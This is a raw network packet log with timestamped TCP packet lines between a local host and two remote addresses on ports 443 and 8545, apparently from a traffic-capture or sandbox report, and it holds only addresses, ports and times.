Jan 9, 2025 13:19:23.432485104 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.432780027 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.432832956 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.433682919 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.475336075 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.534077883 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.534105062 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.534122944 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.534241915 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.534254074 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.534316063 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.535427094 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.535446882 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.535480022 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.535522938 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.535531998 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.535558939 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.535578012 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.535630941 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.535876036 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.535892010 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.538151026 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538176060 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.538238049 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538450003 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538475990 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.538527966 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538686991 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538700104 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.538741112 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538944006 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.538960934 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.539127111 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.539141893 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.539257050 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.539268017 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.644503117 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.644608021 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.644674063 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.645530939 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.645545959 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.647727013 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.647773981 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.647860050 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.648080111 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.648092985 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.778307915 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.778336048 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.778426886 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.778439045 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.779092073 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.779114008 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.779192924 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.781821012 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.781857014 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.781928062 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.782126904 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.782141924 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.785176039 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.785193920 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.785262108 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.785710096 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.785721064 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.785775900 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.786348104 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.786356926 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.786420107 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.787298918 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.787311077 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.787570000 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.787583113 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.787899971 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.787910938 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.811003923 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:23.815910101 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:23.816045046 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:23.816243887 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:23.821023941 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:23.859918118 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.859954119 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.860032082 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.860553980 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.860563993 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.115103960 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.115381002 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.115403891 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.117769003 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.117851973 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.118099928 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.118154049 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.118230104 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.118238926 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.159426928 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.319261074 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.319272041 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319286108 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319297075 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319308043 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319328070 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319335938 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319360971 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.319395065 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.319461107 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.319670916 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.319683075 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.320841074 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.320907116 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.321335077 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.321424961 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.321587086 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.321592093 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.322086096 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.322381020 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.322396040 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.323750019 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.323824883 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.324100971 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.324181080 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.324218035 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.325229883 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.325398922 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.325613976 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.330029964 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.330121040 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.330385923 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.332767010 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.332978964 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.332999945 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.334002972 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.334180117 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.334321976 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.334388971 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.334424973 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.347223997 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.347512960 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.347524881 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.347887039 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.348207951 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.348278046 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.348309994 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.367341995 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.367683887 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.367687941 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.367706060 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.379333973 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.383531094 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.383549929 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.391330004 CET	443	49793	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.399435043 CET	49793	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.415566921 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.426397085 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.431499958 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.479423046 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.488552094 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.488823891 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.488853931 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.490021944 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.490086079 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.490565062 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.490632057 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.490864992 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.490874052 CET	443	49797	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.496953964 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.497239113 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.497247934 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.498226881 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.498307943 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.498632908 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.498691082 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.498795033 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.498801947 CET	443	49799	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.518325090 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.518676996 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.518707037 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.520265102 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.520340919 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.520598888 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.520669937 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.520740032 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.542424917 CET	49797	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.542424917 CET	49799	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.551875114 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.552148104 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.552186966 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.553153992 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.553240061 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.553523064 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.553586006 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.553836107 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.553847075 CET	443	49802	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.561203957 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.561686039 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.561714888 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.562494993 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.562603951 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.562684059 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.563333988 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.563981056 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.564460993 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.564532995 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565506935 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565572977 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565594912 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565630913 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565644026 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565666914 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565677881 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565692902 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565696001 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565718889 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565735102 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565757990 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.565767050 CET	443	49798	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.565825939 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.565850973 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.566721916 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.566776037 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.566800117 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.566814899 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.566843987 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.568794966 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.570632935 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.570725918 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.573043108 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.573242903 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.573251963 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.573411942 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.573420048 CET	443	49795	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.574210882 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.574286938 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.574570894 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.574620008 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.574716091 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.574723005 CET	443	49796	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.605489969 CET	49802	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.605549097 CET	49798	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.621402025 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.621409893 CET	49796	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.621488094 CET	49795	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.656290054 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656307936 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656313896 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656358957 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656397104 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.656405926 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656435013 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.656523943 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.656564951 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.662290096 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.662302017 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677196026 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677232027 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677279949 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677385092 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.677385092 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.677412033 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677450895 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.677723885 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677782059 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677807093 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.677819014 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.677840948 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.677854061 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.679296970 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.679333925 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.679377079 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.679395914 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.679408073 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.679438114 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.680124044 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.680191040 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.680196047 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.680206060 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.680259943 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.681185961 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.681196928 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.723298073 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723345995 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723388910 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.723790884 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723845959 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723884106 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.723921061 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723936081 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.723978996 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.724085093 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724111080 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724121094 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724148035 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.724188089 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724200964 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724227905 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.724971056 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.724989891 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.725001097 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.725013971 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.725039959 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.752250910 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.752310038 CET	49801	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.757046938 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.757111073 CET	8545	49801	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.764897108 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.769731045 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.769800901 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.769963026 CET	49807	8545	192.168.2.16	3.33.155.121
Jan 9, 2025 13:19:24.774857044 CET	8545	49807	3.33.155.121	192.168.2.16
Jan 9, 2025 13:19:24.783416986 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783452988 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783461094 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783549070 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783561945 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783571005 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783577919 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.783585072 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.783610106 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.783634901 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.784775972 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.784799099 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.784843922 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.784867048 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.784873009 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.784918070 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.784921885 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.784971952 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785057068 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785089016 CET	49794	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785103083 CET	443	49794	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785120010 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785142899 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785162926 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785202980 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785206079 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785206079 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785223007 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785253048 CET	443	49792	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:24.785268068 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785268068 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.785319090 CET	49792	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:24.786550045 CET	443	49792	89.46.108.67	192.168.2.16
